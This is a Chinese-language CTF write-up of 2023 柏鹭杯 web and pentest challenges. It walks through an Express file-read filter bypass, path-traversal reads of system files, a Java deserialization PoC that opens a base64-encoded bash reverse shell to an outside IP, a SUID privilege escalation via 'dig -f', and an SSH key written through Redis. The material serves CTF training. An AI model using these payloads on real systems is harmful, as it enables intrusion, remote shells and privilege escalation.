0%

柏鹭杯复现

柏鹭杯wp

express fs

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 80;

app.use('/static', express.static('static'))

app.use((req, res, next) => {
if (
[req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag") //遍历req.body,req.headers,req.query 将其转化为字符串,并检测是否包含flag
)
) {
return res.send("臭黑客!");
}
next();
});

app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString()); //读取文件并返回给客户端
} catch (err) {
console.log(err);
res.status(500).send("Internal server error");
}
});

app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));

对于请求体,请求头,还有输入的参数进行的过滤,不能含有flag。

  • 原题是linux环境,我本地是windows环境复现的,所以后面绕过会有一点区别

image-20231014224841380

file参数这里尝试读取文件 /etc/passwd, /etc/self/cmdline, 原题应该是通过 /etc/self/environ 找到flag位置的,在/server/flag.txt (这里没有环境,就不复现了)

  • 通过test.js,尝试能否正常读取flag
1
2
3
const fs = require('fs');
let path = new URL('file:///E:\\fl%61g.txt');
console.log(fs.readFileSync(path).toString());

debug调试

  • 进入fs.readFileSyn

image-20231014225629756

  • 变量path就是file参数的值,注意它的走向

getoptions获取参数 r,isUserFd 为true,直接返回path,这里是进入了fs.openSync

image-20231014225725674

  • getValidatePath通过名字看,应该是判断path是否有效,

跳过看看返回什么结果,返回了path值,进入getValidatePath,看是如何处理的

image-20231014225800414

image-20231014231226681

  • 进入toPathIfFileURL

image-20231014225823606

  • fileURLOrPath.hreffileURLOrPath.origin 为true是才会进入下面的fileURLToPath

构造点一 href=1,origin=1

image-20231014225848157

  • 进入fileURLToPath,path.protocol !== ‘file:’结果必须为flase

构造点二 protocol == file

image-20231014225907584

  • 由于是windows环境,所以进入getPathFromURLWin32函数,这里贴一下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getPathFromURLWin32(url) {
const hostname = url.hostname;
let pathname = url.pathname;
for (let n = 0; n < pathname.length; n++) {
if (pathname[n] === '%') {
const third = pathname.codePointAt(n + 2) | 0x20;
if ((pathname[n + 1] === '2' && third === 102) || // 2f 2F /
(pathname[n + 1] === '5' && third === 99)) { // 5c 5C \
throw new ERR_INVALID_FILE_URL_PATH(
'must not include encoded \\ or / characters'
);
}
}
}
pathname = StringPrototypeReplaceAll(pathname, '/', '\\');
pathname = decodeURIComponent(pathname);
if (hostname !== '') {
return `\\\\${domainToUnicode(hostname)}${pathname}`;
}
// Otherwise, it's a local path that requires a drive letter
const letter = pathname.codePointAt(1) | 0x20;
const sep = pathname[2];
if (letter < CHAR_LOWERCASE_A || letter > CHAR_LOWERCASE_Z || // a..z A..Z
(sep !== ':')) {
throw new ERR_INVALID_FILE_URL_PATH('must be absolute');
}
return pathname.slice(1);
}

for循环部分是:在pathname中出现%,则判断后面是否是 / 或者 \ ,如果是则抛出异常

1
2
3
if (hostname !== '') {
return `\\\\${domainToUnicode(hostname)}${pathname}`;
}
  • 如果不设置hostname,则最后返回的值为 ‘\undefined E:\flag.txt’

image-20231014232631720

最后,绕过下面的代码, letter是将pathname第二个字符转化为ascii码值,sep则获取pathname第三个字符,

这里要绕过的话,加个空格就好了pathname= E:\\flag.txt

1
2
3
4
5
6
7
8
const letter = pathname.codePointAt(1) | 0x20;
const sep = pathname[2];
if (letter < CHAR_LOWERCASE_A || letter > CHAR_LOWERCASE_Z || // a..z A..Z
(sep !== ':')) {
throw new ERR_INVALID_FILE_URL_PATH('must be absolute');
}
return pathname.slice(1); //slice(1)截取字符串,如果传入pathname=E:\\flag.txt,则返回:\\flag.txt
}

payload:

1
localhost/?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=%20E://fl%2561g.txt

参考链接 corCtf2022一道有意思的node题

综合题 5、6、7

综合题5

和上一题一样filename参数读取文件,读取/proc/self/cmdline 发现/app/demo.jar读取源码

1
192.168.81.129:12345/readfile?filename=../../../etc/passwd

反编译后,这里的o0o加密函数,将flag1O0O异或得到enc_flag1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*     */ @RestController
/* */ public class Upload {
/* */ @Value("${server.servlet.context-path}")
/* */ private String contextPath;
/* 29 */ private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=="; @Value("${spring.redis.password}")
/* 30 */ private String redisPassword; public String O0O = "6925cc02789c1d2552b71acc4a2d48fd"; private static String loadedRedisPassword;
/* */
/* */ public String o0o(String Ooo) {
/* 33 */ StringBuilder oOo = new StringBuilder();
/* 34 */ for (int o0O = 0, OO0 = Ooo.length(); o0O < OO0; o0O++) {
/* 35 */ char Oo0 = Ooo.charAt(o0O);
/* 36 */ char oOO = this.O0O.charAt(o0O % this.O0O.length());
/* 37 */ char OOo = (char)(Oo0 ^ oOO);
/* 38 */ oOo.append(OOo);
/* */ }
/* 40 */ return Base64.getEncoder().encodeToString(oOo.toString().getBytes());
/* */ }
  • exp,将O0Oenc_flag1再次异或就行

10101^11100=01001
结果是01001
01001^10101=11100
01001^11100=01001

1
2
3
4
5
6
7
8
9
import base64
from pwn import *
key = b'6925cc02789c1d2552b71acc4a2d48fd'
enc = 'UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=='
enc = base64.b64decode(enc)
print(enc)
# key = bytes.fromhex(key)
flag = xor(key,enc)
print(flag)

综合题6

  • 继续看源码,可以发现/internalApi/v3.2/updateConfig路径,存在反序列化
1
2
3
4
5
6
7
8
9
10
11
/*     */   @PostMapping({"/internalApi/v3.2/updateConfig"})
/* */ public String syncData(@RequestBody String payload) {
/* */ try {
/* 100 */ byte[] data = Base64.getDecoder().decode(payload);
/* 101 */ ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
/* 102 */ Object obj = ois.readObject(); //反序列化入口
/* 103 */ return "Data synced successfully";
/* 104 */ } catch (IOException|ClassNotFoundException e) {
/* 105 */ return "Failed to sync data: " + e.getMessage();
/* */ }
/* */ }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*    */ package com.example.demo;
/* */
/* */ import java.io.IOException;
/* */ import java.io.ObjectInputStream;
/* */ import java.io.Serializable;
/* */
/* */ class Ping
/* */ implements Serializable {
/* */ private static final long serialVersionUID = 1L;
/* */ private String command;
/* */
/* */ public void setCommand(String command) { this.command = command; } private String arg1; private String arg2;
/* */ public void setArg1(String arg1) { this.arg1 = arg1; }
/* */ public void setArg2(String arg2) { this.arg2 = arg2; }
/* */ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
/* 22 */ in.defaultReadObject();
/* 23 */ String[] cmdArray = { this.command, this.arg1, this.arg2 };
/* 24 */ Runtime.getRuntime().exec(cmdArray); //执行命令
/* */ }
/* */ }
  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.demo;

import java.io.*;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Poc {
public static void main(String[] args) throws IOException {
Ping ping = new Ping();
ping.setCommand("bash");
ping.setArg1("-c");
ping.setArg2("{echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAxLjQzLjExMi43NC84ODg4IDA+JjEK}|{base64,-d}|{bash,-i}");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(ping);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));

}
}

反弹shell成功

images1

images2

flag2再/root/flag2,需要提权

1
2
find / -user root -perm -4000 -print 2>/dev/null    # suid提权
dig -f /root/flag2

images3

综合题7

复现环境无法上传文件,所以后面写一下步骤

1
/readfile?filename=../../../../../../../usr/local/share/application.propertie    
1
2
3
4
5
6
7
server.port=18080
server.servlet.context-path=/
management.endpoints.web.exposure.include=heapdump
spring.redis.host=172.25.0.10
spring.redis.port=62341
spring.redis.password=de17cb1cfa1a8e8011f027b416775c6a
spring.servlet.multipart.max-file-size=10MB
  • 有了redis密码,ssh写公钥
1
2
3
4
5
6
7
8
9
10
11
12
13
ssh-keygen -t rsa	 #生成公私钥
cat key.txt | proxychains redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set ssh_key
##将公钥作为value插入到数据库中,key随便啥值。
proxychains redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set ssh_key
config set dir /root/.ssh
#设置保存路径
config get dir
config set dbfilename authorized_keys
#设置保存文件名
save

proxychains ssh -i ~/.ssh/id_rsa root@172.25.0.10
#连接

参考链接 2023柏鹭杯 综合题5、6、7